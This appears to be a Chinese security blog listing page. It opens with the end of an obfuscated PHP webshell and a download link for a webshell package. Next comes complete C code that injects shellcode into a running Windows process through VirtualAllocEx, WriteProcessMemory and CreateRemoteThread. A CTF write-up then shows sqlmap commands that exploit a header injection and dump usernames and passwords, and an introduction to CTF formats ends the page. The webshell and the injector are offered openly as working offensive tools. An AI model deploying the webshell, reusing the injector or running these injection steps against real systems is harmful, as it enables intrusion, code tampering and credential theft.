调用解密函数,传入加密数据 eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A")); ?>Webshell大马{cloud title="源码" type="default" url="https://www.52tt.pro/usr/uploads/2022/08/webshell.zip" password=""/}{collapse}{collapse-item label="shellcode调窗口" open}#include <windows.h> // Windows API #include <stdio.h> // 标准输入/输出库 #include <string.h> // 字符串处理库 #include <tlhelp32.h> // 进程快照和工具帮助库 // 获取指定进程名的进程ID WORD GetProcessIdByName(const char *processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return 0; PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnapshot, &pe32)) { do { if (strcmp(pe32.szExeFile, processName) == 0) { CloseHandle(hSnapshot); return pe32.th32ProcessID; } } while (Process32Next(hSnapshot, &pe32)); } CloseHandle(hSnapshot); return 0; } // 主函数 int main() { const char *targetProcessName = "0.exe"; // 目标进程名称 DWORD pid = GetProcessIdByName(targetProcessName); // 获取目标进程ID HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 打开目标进程,赋予所有访问权限 if (hProcess == NULL) { return 1; } // 分配远程内存用于存储注入代码 LPVOID pCode = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pCode == NULL) { CloseHandle(hProcess); return 1; } // 定义注入的机器码 BYTE Hexcode[] = { 0xC8, 0x00, 0x00, 0x00, // enter 0,0 0x68, 0x01, 0x00, 0x01, 0x52, // push 52010001 0xBB, 0x60, 0x38, 0x44, 0x00, // mov ebx, 0x443860 0xFF, 0xD3, // call ebx 0x83, 0xC4, 0x04, // add esp, 0x4 0x6A, 0x00, // push 0x0 0x6A, 0x01, // push 0x1 0x6A, 0xFF, // push 0xFFFFFFFF 0x6A, 0x05, // push 0x5 0x68, 0x00, 0x00, 0x01, 0x06, // push 0x6010000 0x68, 0x01, 0x00, 0x01, 0x52, // push 0x52010001 0xBB, 0x00, 0x38, 0x44, 0x00, // mov ebx, 0x443800 0xFF, 0xD3, // call ebx 0x83, 0xC4, 0x18, // add esp, 0x18 0x6A, 0x00, // push 0x0 0x6A, 0x00, // push 0x0 0x6A, 0xFF, // push 0xFFFFFFFF 0x6A, 0x06, // push 0x6 0x68, 0x00, 0x00, 0x01, 0x06, // push 0x6010000 0x68, 0x01, 0x00, 0x01, 0x52, // push 0x52010001 0xBB, 0x00, 0x38, 0x44, 0x00, // mov ebx, 0x443800 0xFF, 0xD3, // call ebx 0x83, 0xc4, 0x18, // add esp, 0x18 0xBB, 0x30, 0x38, 0x44, 0x00, // mov ebx, 0x443830 0xFF, 0xD3, // call ebx 0xC9, // leave 0xC3 // ret }; // 将机器码写入远程进程内存 if (!WriteProcessMemory(hProcess, pCode, Hexcode, sizeof(Hexcode), NULL)) { VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 创建远程线程执行注入的机器码 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pCode, NULL, 0, NULL); if (hThread == NULL) { VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 等待线程执行完成 WaitForSingleObject(hThread, INFINITE); VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); // 释放远程内存 CloseHandle(hThread); CloseHandle(hProcess); return 0; }{/collapse-item}{/collapse}
2022年02月04日
74 阅读
0 评论
19 点赞
2021-03-05
【CTF解题】墨者学院 SQL注入实战
sqlmap注入首先寻找注入点,题目给我们提示了X-Forwarded-for,说明题需要使用到。我使用了Fiddler抓包或burpsuite,尝试随便输入一个账号密码,登录发现出来一个弹窗,在浏览器显示乱码了,但在抓包软件里能看到,很显然需要是内网本机才能登录。这里给提交登录的POST请求头加上了 x-forwarded-for: 127.0.0.1经过几轮测试,发现账号密码没有注入点而x-forwarded-for 存在sql注入点。把提交的数据都写在一个txt文本文档里,导入sqlmap进行自动注入。sqlmap -r a.txt -dbs -batch首先列出可用的数据库列表。sqlmap -r a.txt -D webcalendar -tables -batch再看数据库有哪些表。sqlmap -r a.txt -D webcalendar -T user -columns -batch再查看表的字段。sqlmap -r a.txt -D webcalendar -T user -C username,password -dump -batch最后输出字段内容。这道题考验我们的并不是x-Forwared-for的设置,而是存在sql注入点的利用。
2021年03月05日
27 阅读
0 评论
2 点赞
2021-01-05
【CTF解题】CTF入门介绍 ( 基本了解 )
CTF赛制概述CTF(Capture The Flag)是网络安全领域的技术竞技比赛,起源于1996年DEFCON大会,现已成为全球范围内广泛举行的比赛形式。赛题类型涵盖不同的网络安全技术领域,以下是常见的赛制模式及赛题分类:1. Jeopardy-解题模式概述:参赛队伍通过解题获得分数,题目多为网络安全技术挑战。类似ACM编程竞赛,通过解题积累分数,并可能根据时间和得分排名。常见规则:包括“First Blood”(首解)奖励、题目分值动态调整(即解答人数越多,分值越低)。2. AWD-攻防模式概述:参赛队伍不仅要防守自己的系统(GameBox),还需要攻击对方的系统。通过防御和攻击操作获取分数。特点:比赛持续24-48小时,涉及实时攻防对抗,要求参赛队员具有较强的技术与协作能力。3. AWP-攻防增强模式概述:结合攻击与防御,选手攻击一次、修复一次即可完成题目。与AWD相比,选手无需持续维护环境,减少了硬件与运维负担。特点:简化了攻击和防御操作,更注重选手的效率。4. RHG-自动化攻防概述:通过编写自动化程序(bot)进行漏洞挖掘与攻击。选手提交的bot会全自动进行任务,无需人工干预。特点:强调自动化与工程化能力,比赛过程全程自动化运行。5. RW-真实世界模式概述:模拟真实的渗透测试环境,选手需要在真实环境中挖掘漏洞并攻击。比赛时,选手需要展示攻击成果,现场验证攻击效果。特点:与实际工作中渗透测试更为贴近,强调实战能力。6. KoH-抢占山头模式概述:选手通过挖掘漏洞控制目标系统,并进行加固防御,防止其他队伍入侵。定期检查系统标识文件,根据文件标识判定得分。特点:结合渗透攻击与防御加固,强调持续控制与防护能力。7. Mix-混合模式概述:结合多种模式进行比赛,例如解题和攻防模式并行,提升比赛的多样性与挑战性。特点:为参赛队伍提供更多的题型和模式,适应不同的技术需求。CTF赛题分类Web 渗透测试特点:利用 Web 应用漏洞获取敏感信息或控制权限。常见漏洞有 SQL 注入、XSS、命令注入等。工具:Burp Suite、SQLmap 等。Crypto 密码学特点:破解加密算法或编码技术。涉及经典密码、加密算法漏洞分析等。工具:CyberChef、Hashcat 等。Pwn 二进制漏洞利用特点:通过利用二进制漏洞进行攻击,常见如缓冲区溢出、格式化字符串漏洞等。工具:GDB、Pwntools、IDA Pro 等。Reverse 逆向工程特点:通过静态与动态分析程序代码,理解其功能并发现漏洞。工具:IDA Pro、OllyDbg、Ghidra 等。Misc 杂项特点:包括取证、隐写等不容易归类到其他类型的题目。工具:ExifTool、Steghide 等。CTF二次元版
2021年01月05日
36 阅读
0 评论
7 点赞
1
2
0:00